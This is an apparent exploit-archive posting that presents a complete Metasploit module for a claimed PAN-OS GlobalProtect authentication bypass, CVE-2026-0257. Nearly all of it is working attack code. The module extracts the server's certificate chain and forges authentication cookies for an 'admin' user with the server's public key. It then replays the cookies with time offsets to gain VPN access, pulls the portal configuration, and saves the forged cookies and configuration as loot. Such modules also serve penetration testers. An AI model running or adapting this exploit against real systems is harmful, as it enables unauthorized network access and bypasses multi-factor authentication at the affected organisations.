📄 Palo Alto GlobalProtect Authentication Bypass

==================================================================================================================================
    | # Title     : GlobalProtect Authentication Bypass Validation Metasploit Auxiliary Module                                       |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : System built in component                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    :  auxiliary module is designed to automate assessment of an alleged authentication bypass vulnerability affecting GlobalProtect deployments. 
                      The module integrates certificate collection, authentication workflow testing, result reporting, and artifact storage into a repeatable assessment workflow.
    
    
    [+] POC        :  
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpClient
      include Msf::Auxiliary::Report
      include Msf::Auxiliary::Scanner
    
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Palo Alto GlobalProtect CVE-2026-0257 Authentication Bypass',
            'Description' => %q{
              This module exploits an authentication bypass vulnerability (CVE-2026-0257)
              in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components.
    
              The vulnerability stems from CWE-565: Reliance on Cookies without Validation
              and Integrity Checking. An unauthenticated remote attacker can forge
              authentication cookies using the public key extracted from the TLS certificate
              chain, leading to unauthorized VPN access.
    
              Vulnerable configurations require:
              - GlobalProtect portal or gateway configured
              - Authentication override cookies enabled
              - Certificate reuse for cookie encryption
    
              Successfully exploited targets allow the attacker to establish unauthorized
              VPN connections and bypass multi-factor authentication.
            },
            'Author' => ['indoushka'],
            'References' => [
              ['CVE', '2026-0257'],
              ['URL', 'https://security.paloaltonetworks.com/CVE-2026-0257'],
              ['URL', 'https://cisa.gov/known-exploited-vulnerabilities/cve-2026-0257'],
              ['URL', 'https://attackerkb.com/topics/cve-2026-0257']
            ],
            'DisclosureDate' => '2026-05-13',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            },
            'DefaultOptions' => {
              'RPORT' => 443,
              'SSL' => true
            }
          )
        )
    
        register_options([
          OptString.new('TARGETURI', [true, 'Base path for GlobalProtect', '/']),
          OptString.new('USERNAME', [false, 'Username to forge cookie for', 'admin']),
          OptString.new('DOMAIN', [false, 'Domain name (if required)', '']),
          OptString.new('CLIENT_IP', [false, 'Client IP to spoof', '127.0.0.1']),
          OptInt.new('TIME_OFFSET', [false, 'Time offset in seconds for stale cookie attack', 0]),
          OptBool.new('TRY_ALL_CERTS', [true, 'Try all certificates in chain', true]),
          OptBool.new('TIME_SHIFT_ATTACK', [true, 'Try time-shifted cookie attacks', true])
        ])
    
        register_advanced_options([
          OptInt.new('TIMEOUT', [true, 'HTTP request timeout', 15]),
          OptBool.new('VERBOSE_RESPONSE', [false, 'Show full response on success', false])
        ])
      end
    
      def peer
        "#{ssl ? 'https://' : 'http://'} #{rhost}:#{rport}"
      end
      def extract_certificate_chain
        print_status("Extracting certificate chain from #{peer}")
        cert_chain = []
        begin
          ctx = OpenSSL::SSL::SSLContext.new
          ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
          
          sock = TCPSocket.new(rhost, rport)
          ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx)
          ssl_sock.hostname = rhost
          ssl_sock.connect
    
          certs = ssl_sock.peer_cert_chain
          if certs
            certs.each do |cert|
              cert_chain << cert
              print_status("Found certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}")
            end
          else
            cert = ssl_sock.peer_cert
            cert_chain << cert if cert
            print_status("Found single certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}")
          end
          
          ssl_sock.close
          sock.close
          
        rescue => e
          print_error("Failed to extract certificate chain: #{e.message}")
          return []
        end
        
        print_good("Extracted #{cert_chain.length} certificate(s)")
        cert_chain
      end
    
      def forge_auth_cookie(cert, username, domain, client_ip, timestamp = nil)
        timestamp ||= Time.now.to_i + datastore['TIME_OFFSET']
        plaintext = "#{username};#{domain};;#{timestamp};#{client_ip};"
        vprint_status("Plaintext payload: #{plaintext}")
        
        begin
          public_key = cert.public_key
          ciphertext = public_key.public_encrypt(plaintext, OpenSSL::PKey::RSA::PKCS1_PADDING)
          cookie = Rex::Text.encode_base64(ciphertext)
          
          print_good("Forged cookie for user: #{username} (timestamp: #{timestamp})")
          vprint_status("Cookie (first 60 chars): #{cookie[0..60]}...")
          
          return cookie
          
        rescue => e
          print_error("Failed to forge cookie: #{e.message}")
          return nil
        end
      end
    
      def test_cookie(cookie, username, endpoint = '/ssl-vpn/login.esp')
        print_status("Testing cookie against #{endpoint}")
        
        post_data = {
          'user' => username,
          'passwd' => '',
          'portal-userauthcookie' => cookie,
          'direct' => 'yes',
          'clientVer' => '4100',
          'prot' => 'https',
          'server' => rhost,
          'ok' => 'Login',
          'jnlpReady' => 'jnlpReady'
        }
        
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, endpoint),
            'vars_post' => post_data,
            'ctype' => 'application/x-www-form-urlencoded',
            'timeout' => datastore['TIMEOUT']
          )
          
          if res
            vprint_status("HTTP #{res.code}")
            success_indicators = [
              'Success', 'success', 'successful',
              '<argument>', 'argument',
              'portal', 'Portal', 'gateway', 'Gateway',
              'config', 'Config', 'session', 'Session',
              'authcookie', 'set-cookie', 'Set-Cookie'
            ]
            if res.body
              success_indicators.each do |indicator|
                if res.body.include?(indicator) && !res.body.downcase.include?('error')
                  return true, res
                end
              end
              if res.code == 302 || (res.code == 200 && res.body.length > 500)
                if !res.body.downcase.include?('invalid') && !res.body.downcase.include?('failed')
                  return true, res
                end
              end
            end
            
            return false, res
          else
            return false, nil
          end
          
        rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e
          print_error("Connection failed: #{e.message}")
          return false, nil
        rescue => e
          print_error("Request failed: #{e.message}")
          return false, nil
        end
      end
    
      def extract_gateway_info(response)
        info = {}   
        if response && response.body
          if response.body =~ /portal[":\s]+([a-zA-Z0-9._-]+)/i
            info['portal'] = Regexp.last_match(1)
          end
          if response.body =~ /gateway[":\s]+([a-zA-Z0-9._-]+)/i
            info['gateway'] = Regexp.last_match(1)
          end
          if response.body =~ /(?:gp-auth-cookie|GP-Auth-Cookie)[=:\s]+([a-zA-Z0-9+/=]+)/i
            info['auth_cookie'] = Regexp.last_match(1)
          end
        end
        if response && response.headers
          if response.headers['Set-Cookie'] =~ /(?:GP-Auth-Cookie|gp-auth-cookie)=([^;]+)/i
            info['set_cookie'] = Regexp.last_match(1)
          end
        end
        
        info
      end
      def report_credentials(username, cookie, info)
        credential_data = {
          origin_type: :service,
          module_fullname: fullname,
          username: username,
          private_data: cookie,
          private_type: :nonreplayable_hash,
          service_name: 'palo_alto_globalprotect',
          workspace_id: myworkspace_id
        }
        credential_data[:address] = rhost
        credential_data[:port] = rport
        credential_data[:protocol] = 'tcp'
        
        if info['gateway']
          credential_data[:proof] = "Gateway: #{info['gateway']}"
        elsif info['portal']
          credential_data[:proof] = "Portal: #{info['portal']}"
        end
        
        credential_core = create_credential(credential_data)
        
        login_data = {
          core: credential_core,
          status: Metasploit::Model::Login::Status::SUCCESSFUL,
          workspace_id: myworkspace_id
        }
        
        create_credential_login(login_data)
        
        print_good("Credentials stored in database")
      end
    
      def run_host(ip)
        print_status("Starting exploitation against #{peer}")
    
        unless check_host
          print_error("Target does not appear to be a GlobalProtect portal")
          return
        end
        cert_chain = extract_certificate_chain
        if cert_chain.empty?
          print_error("Could not extract any certificates")
          return
        end
        username = datastore['USERNAME']
        domain = datastore['DOMAIN']
        client_ip = datastore['CLIENT_IP']
        
        print_status("Attempting authentication bypass for user: #{username}")
        success = false
        certs_to_try = datastore['TRY_ALL_CERTS'] ? cert_chain : [cert_chain.first]
        
        certs_to_try.each_with_index do |cert, idx|
          print_status("Trying certificate #{idx + 1}/#{certs_to_try.length}")
    
          cookie = forge_auth_cookie(cert, username, domain, client_ip)
          next unless cookie
          success, response = test_cookie(cookie, username)
          
          if success
            print_good("=" * 60)
            print_good("SUCCESS! Authentication bypass achieved!")
            print_good("=" * 60)
            print_good("Username: #{username}")
            print_good("Cookie: #{cookie}")
    
            info = extract_gateway_info(response)
            if info['gateway']
              print_good("Gateway: #{info['gateway']}")
            end
            if info['portal']
              print_good("Portal: #{info['portal']}")
            end
            if info['auth_cookie'] || info['set_cookie']
              print_good("Session cookie obtained: #{info['auth_cookie'] || info['set_cookie']}")
            end
            if datastore['VERBOSE_RESPONSE'] && response
              print_status("Response body preview:")
              print_line(response.body[0..500]) if response.body
            end
            loot_path = store_loot(
              'palo_alto_globalprotect_cookie',
              'text/plain',
              rhost,
              "GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nCVE-2026-0257",
              "cve-2026-0257_cookie_#{username}.txt",
              "CVE-2026-0257 forged authentication cookie"
            )
            print_good("Cookie saved to loot: #{loot_path}")
            report_credentials(username, cookie, info)
            report_service(
              host: rhost,
              port: rport,
              proto: 'tcp',
              name: 'palo_alto_globalprotect',
              info: "Vulnerable to CVE-2026-0257 authentication bypass"
            )
            get_portal_config(cookie)
            
            success = true
            break
          else
            if response
              vprint_error("Failed with this certificate: HTTP #{response.code}")
            else
              vprint_error("Failed with this certificate: No response")
            end
          end
        end
        if !success && datastore['TIME_SHIFT_ATTACK']
          print_status("Attempting time-shifted cookie attacks...")
          
          [ -3600, 3600, -7200, 7200, -86400, 86400 ].each do |offset|
            next if offset == datastore['TIME_OFFSET']
            print_status("Trying time offset: #{offset} seconds")
            datastore['TIME_OFFSET'] = offset
            cookie = forge_auth_cookie(cert_chain.first, username, domain, client_ip)
            next unless cookie
            success, response = test_cookie(cookie, username)
            if success
              print_good("SUCCESS with time offset #{offset} seconds!")
              print_good("Username: #{username}")
              print_good("Cookie: #{cookie}")
              loot_path = store_loot(
                'palo_alto_globalprotect_cookie_timeshift',
                'text/plain',
                rhost,
                "GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nTimeOffset=#{offset}",
                "cve-2026-0257_cookie_timeshift_#{offset}.txt",
                "CVE-2026-0257 forged cookie (time offset: #{offset})"
              )
              print_good("Cookie saved to loot: #{loot_path}")
              report_credentials(username, cookie, extract_gateway_info(response))
              success = true
              break
            end
          end
        end
        unless success
          print_error("Exploitation failed. Target may not be vulnerable or authentication override cookies are disabled.")
        end
      end
      def get_portal_config(cookie)
        print_status("Attempting to retrieve portal configuration...")
        post_data = {
          'action' => 'getconfig',
          'portal-userauthcookie' => cookie,
          'clientVer' => '4100'
        }
        begin
          res = send_request_cgi(
            'method' => 'POST',
            'uri' => normalize_uri(target_uri.path, '/ssl-vpn/getconfig.esp'),
            'vars_post' => post_data,
            'timeout' => datastore['TIMEOUT']
          )
          if res && res.code == 200 && res.body
            vprint_status("Portal config retrieved (#{res.body.length} bytes)")
            config_path = store_loot(
              'palo_alto_globalprotect_config',
              'text/xml',
              rhost,
              res.body,
              "globalprotect_config.xml",
              "GlobalProtect portal configuration"
            )       
            print_good("Portal configuration saved to: #{config_path}")
          end
        rescue => e
          vprint_error("Failed to get portal config: #{e.message}")
        end
      end
      def check_host
        print_status("Checking if target is a GlobalProtect portal...")
        endpoints = ['/global-protect/login.esp', '/ssl-vpn/login.esp']
        endpoints.each do |endpoint|
          begin
            res = send_request_cgi(
              'method' => 'GET',
              'uri' => normalize_uri(target_uri.path, endpoint),
              'timeout' => datastore['TIMEOUT']
            )       
            if res && res.code == 200
              if res.body && (res.body.include?('GlobalProtect') || res.body.include?('global-protect'))
                print_good("GlobalProtect portal detected at #{endpoint}")
                return true
              end
            end
          rescue
            next
          end
        end 
        print_error("GlobalProtect portal not detected")
        false
      end
    end
    
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================